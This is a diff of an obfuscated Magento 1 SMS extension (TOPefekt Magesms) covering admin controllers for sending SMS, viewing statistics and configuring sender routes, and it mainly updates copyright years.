Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->renderLayout(); } } else { $this->_redirect('*/*/index'); } return $this; } public function loadCustomersAction() { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = ''; if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i933cfa8bba921101c14f35998fc501e030c9db5b = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('char')) { $i854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $i065c883e3f45e58104d21f8196ee3fe9bd2f513d = $i854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $ibad8f78c098260b16424eb12ceee5f8336591d56 = Mage::helper('magesms')->getCustomerCollection(); $ibad8f78c098260b16424eb12ceee5f8336591d56->addFieldToFilter('lastname', array('like' => $i933cfa8bba921101c14f35998fc501e030c9db5b.'%')); $ibad8f78c098260b16424eb12ceee5f8336591d56->addAttributeToSort('lastname', 'ASC'); foreach($ibad8f78c098260b16424eb12ceee5f8336591d56 as $i21e55df616c305955791876c1eb4da83448beba2) { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 .= $i21e55df616c305955791876c1eb4da83448beba2->getLastname().', '.$i21e55df616c305955791876c1eb4da83448beba2->getFirstname().';'; $id1caa2f79c0787a3e797d6d388cd6f00ced4282f = Mage::helper('magesms')->prepareNumber($i21e55df616c305955791876c1eb4da83448beba2->getTelephone(), 'customer', empty($i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i21e55df616c305955791876c1eb4da83448beba2->getCountryId()]) ? '' : $i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i21e55df616c305955791876c1eb4da83448beba2->getCountryId()]); $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 .= $id1caa2f79c0787a3e797d6d388cd6f00ced4282f['mobile']."\n"; } } } $this->getResponse()->clearHeaders()->setHeader('Content-Type', 'text/html')->setBody($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/sendsms') ->_title(Mage::helper('magesms')->__('Send SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/sendsms'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/StatisticsController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_StatisticsController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = $this->getRequest()->getParams(); if (!empty($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom'])) $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom'] = base64_decode($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom']); if (!empty($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto'])) $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto'] = base64_decode($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto']); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/statistics.phtml') ); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setFilterData($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function filterAction() { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getRequest()->getParams(); unset($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['form_key']); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['datefrom'] = base64_encode($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['datefrom']); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['dateto'] = base64_encode($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['dateto']); $this->_redirect('*/*/', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/statistics') ->_title(Mage::helper('magesms')->__('Statistics')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/statistics'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_StatisticsController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = $this->getRequest()->getParams(); if (!empty($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom'])) $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom'] = base64_decode($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['datefrom']); if (!empty($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto'])) $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto'] = base64_decode($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2['dateto']); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/statistics.phtml') ); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setFilterData($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function filterAction() { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getRequest()->getParams(); unset($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['form_key']); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['datefrom'] = base64_encode($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['datefrom']); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['dateto'] = base64_encode($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['dateto']); $this->_redirect('*/*/', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/statistics') ->_title(Mage::helper('magesms')->__('Statistics')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/statistics'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/WizardController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_WizardController extends Topefekt_Magesms_Controller_Action { public $confirmsms; protected function _construct() { parent::_construct(); $this->confirmsms = Mage::helper('magesms')->__('Confirmation code: '); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); if (!Mage::app()->loadCache('magesms_pricelist_update') || Mage::app()->loadCache('magesms_pricelist_update') != date('Y-m-d')) { Mage::app()->saveCache(date('Y-m-d'), 'magesms_pricelist_update'); $this->updatepricelistAction(); } return $this; } public function editAction() { $ia118aa93019887b74fdff43dbcf59dce271cae7d = $this->getRequest()->getParam('country0'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = true; if ($ia118aa93019887b74fdff43dbcf59dce271cae7d && $i30f20aafde612a957f7f966cb5b85e35782bc88a) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getSingleton('magesms/country_area')->getCollection()->addFilter('country_name', $ia118aa93019887b74fdff43dbcf59dce271cae7d); if ($i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=dost&username='.urlencode($this->profile->user->user).'&password='.urlencode($this->profile->user->passwd). '&area='.urlencode($i037b855bc01175f2c77d5c3e19eda9a0003feff4->getFirstItem()->getArea()).'&currency='.urlencode($this->profile->currency); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes'); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setInfo($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['datasrc']); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setArea($i037b855bc01175f2c77d5c3e19eda9a0003feff4->getFirstItem()->getArea()); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setType($i30f20aafde612a957f7f966cb5b85e35782bc88a); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setAreaText($ia118aa93019887b74fdff43dbcf59dce271cae7d); Mage::register('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } else { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = false; } } else { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = false; } } if ($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-edit.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to load.')); $this->_redirect('*/*/'); } public function deleteAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { try { $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $ice10b700e3771fcda63608142bce93b608228583->delete(); Mage::getSingleton('adminhtml/session')->addSuccess($ice10b700e3771fcda63608142bce93b608228583->getAreaText().$this->__(' was deleted.')); $this->_redirect('*/*/'); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to delete.')); $this->_redirect('*/*/'); } public function addcountrycustomerAction() { $this->getRequest()->setParam('type', 'customer'); $this->addcountryAction(); } public function addcountryadminAction() { $this->getRequest()->setParam('type', 'admin'); $this->addcountryAction(); } public function addcountryAction() { $ia118aa93019887b74fdff43dbcf59dce271cae7d = $this->getRequest()->getParam('country0'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); if ($ia118aa93019887b74fdff43dbcf59dce271cae7d && $i30f20aafde612a957f7f966cb5b85e35782bc88a) { try { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('magesms/routes')->getCollection(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->addFilter('area_text', $ia118aa93019887b74fdff43dbcf59dce271cae7d)->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->count()) { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getFirstItem()->getId(); $this->_redirect('*/*/edit', array('id'=>$i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); return; } $this->_redirect('*/*/edit', array('country0'=>$ia118aa93019887b74fdff43dbcf59dce271cae7d, 'type'=>$i30f20aafde612a957f7f966cb5b85e35782bc88a, 'id'=>0)); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to load.')); $this->_redirect('*/*/'); } public function addrouteAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('adminhtml/session')->getData('routes'); $this->_redirect('*/*/addroutesender'); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::getSingleton('adminhtml/session')->getData('routesuccess').$this->__(' was saved.')); Mage::getSingleton('adminhtml/session')->unsetData('routesuccess'); $this->_redirect('*/*/index'); } } public function addroutesenderAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-sender.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } else { $this->_redirect('*/*/index'); } } public function validateAction($i5ba2c5364d6756af3701b475c0706df889a2545f = false) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes'); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('id')) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->load($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('id')); } $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setArea($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('area')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setAreaText($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('country0')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setType($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('type')); $iecc25823227283479c5811005734b6ee2bd56071 = explode(';', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('isms')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setIsms($iecc25823227283479c5811005734b6ee2bd56071[0]); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setSendertype($iecc25823227283479c5811005734b6ee2bd56071[1]); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { if ($i5ba2c5364d6756af3701b475c0706df889a2545f === true) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->save(); } else { if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_SYSTEM || $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_SIM) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setData('senderID', ''); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->save(); Mage::getSingleton('adminhtml/session')->unsetData('routes'); Mage::getSingleton('adminhtml/session')->setData('routesuccess', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText()); } else { Mage::getSingleton('adminhtml/session')->setData('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function validatesenderAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('adminhtml/session')->getData('routes'); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i1b3f50fe6674f47cc7c1967f93ff153879178f04 = trim(($i51c6d8e5b3a92b4b73711680253408ec6d3d25f6 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sender')) ? $i51c6d8e5b3a92b4b73711680253408ec6d3d25f6 : $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('newsender')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setData('senderID', $i1b3f50fe6674f47cc7c1967f93ff153879178f04); } else { $id3e549697752385571e09ffe4add9278d2d6923b = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('code'); $i1b3f50fe6674f47cc7c1967f93ff153879178f04 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getData('senderID'); } $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->validate(true); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction') ->addObject($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_OWN) { $i451f679eaafeecb81387b150019f0d9e0fa83d16 = Mage::getModel('magesms/api'); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i74c7f58458d186850e8386ae20067ea0a7958311 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getGate($i1b3f50fe6674f47cc7c1967f93ff153879178f04, 'admin'); $i9e1925546463c5a41ccbc625ed973556cc86a495 = ''; if(!$i74c7f58458d186850e8386ae20067ea0a7958311->isEmpty()): $i9e1925546463c5a41ccbc625ed973556cc86a495 = base64_decode("JmlzbXM9").urlencode($i74c7f58458d186850e8386ae20067ea0a7958311->getIsms()).base64_decode("JnNlbmRlcj0=").urlencode($i74c7f58458d186850e8386ae20067ea0a7958311->getData('senderID')); endif; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = "action=checksenderID&text_sms=".urlencode($this->confirmsms).base64_decode("JnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd).base64_decode("JnNlbmRlcklEPQ==").urlencode($i1b3f50fe6674f47cc7c1967f93ff153879178f04).$i9e1925546463c5a41ccbc625ed973556cc86a495; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if (in_array($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'], array(1, 11))) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getSingleton('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$i1b3f50fe6674f47cc7c1967f93ff153879178f04); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d h:i:s', Mage::getModel('core/date')->timestamp(time()))); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($this->confirmsms); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(1); list($ie10d5ed46013be2962a9d08e0e1912a9c56891b4, $i58457975a91d59a84d2920953badcb7365ac1f01, $if928b7780c12c52495a2f84d8c183269cfcb7c63) = explode("__", $ia61712c27ea241bd7a543dc2b02ea572274d0322['datasrc']); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setPrice($i58457975a91d59a84d2920953badcb7365ac1f01); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCredit($if928b7780c12c52495a2f84d8c183269cfcb7c63); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($i74c7f58458d186850e8386ae20067ea0a7958311->getData('senderID')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode(0); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType(Topefekt_Magesms_Model_Sms::TYPE_ADMIN); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid($ie10d5ed46013be2962a9d08e0e1912a9c56891b4); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(1); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->save(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode = true; Mage::getSingleton('adminhtml/session')->setData('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 111) { } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 9) { Mage::throwException(Mage::helper('magesms')->__('error - wrong number or unavailable')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 10) { Mage::throwException(Mage::helper('magesms')->__('error - low credit for sending validation SMS')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 15) { Mage::throwException(Mage::helper('magesms')->__('error - unauthorized senderID in confirmation sms')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3) { Mage::throwException(Mage::helper('magesms')->__('error - '.$ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 4) { Mage::throwException(Mage::helper('magesms')->__('login error')); } else { Mage::throwException(Mage::helper('magesms')->__('can not connect to SMS server').' '.$ia61712c27ea241bd7a543dc2b02ea572274d0322['error']); } } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = "action=checksenderIDcode&username=".urlencode($this->profile->user->user).base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). base64_decode("JmNvZGU9").urlencode($id3e549697752385571e09ffe4add9278d2d6923b).base64_decode("JnNlbmRlcklEPQ==").urlencode($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getData('senderID')); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 1) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode = false; } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3) { Mage::throwException(Mage::helper('magesms')->__('error - ').$ia61712c27ea241bd7a543dc2b02ea572274d0322['error']); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 4) { Mage::throwException(Mage::helper('magesms')->__('login error')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 5) { Mage::throwException(Mage::helper('magesms')->__('correctly confirm sms code')); } else { Mage::throwException(Mage::helper('magesms')->__('can not connect to SMS server')); } } $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = 'ownnumbersender'; } else { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = 'textsender'; } if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i5b2de9a29c087ac444f7af969b9863250e38aa27 = Mage::getSingleton('magesms/'.$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd)->getCollection()->addFilter('val', $i1b3f50fe6674f47cc7c1967f93ff153879178f04)->getFirstItem(); $i0a2378e8d343fdb890a9c568b07c541a35a12341 = Mage::getSingleton('magesms/'.$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd)->load($i5b2de9a29c087ac444f7af969b9863250e38aa27->getId())->setVal($i1b3f50fe6674f47cc7c1967f93ff153879178f04); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i0a2378e8d343fdb890a9c568b07c541a35a12341) ->save(); Mage::getSingleton('adminhtml/session')->unsetData('routes'); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd == 'textsender') { Mage::getSingleton('adminhtml/session')->setData('routesuccess', $this->__('Text sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); } else { Mage::getSingleton('adminhtml/session')->setData('routesuccess', $this->__('Own number sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesenderAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $this->_redirect('*/*/addroutesender'); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::getSingleton('adminhtml/session')->getData('routesuccess')); Mage::getSingleton('adminhtml/session')->unsetData('routesuccess'); $this->_redirect('*/*/index'); } } public function updatepricelistAction() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('magesms/routes')->updatepricelist($this->profile->currency); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Pricelist was successfully updated.')); $this->_redirect('*/*/index'); } public function alternativeAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-alternative.phtml') ); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id'); $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($ice10b700e3771fcda63608142bce93b608228583->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_TEXT) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setRoute($ice10b700e3771fcda63608142bce93b608228583); $ie7d1444276fe9dee937fd96d6e0519397fdc5701 = Mage::getModel('core/store_group')->getCollection()->setLoadDefault(false); $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', 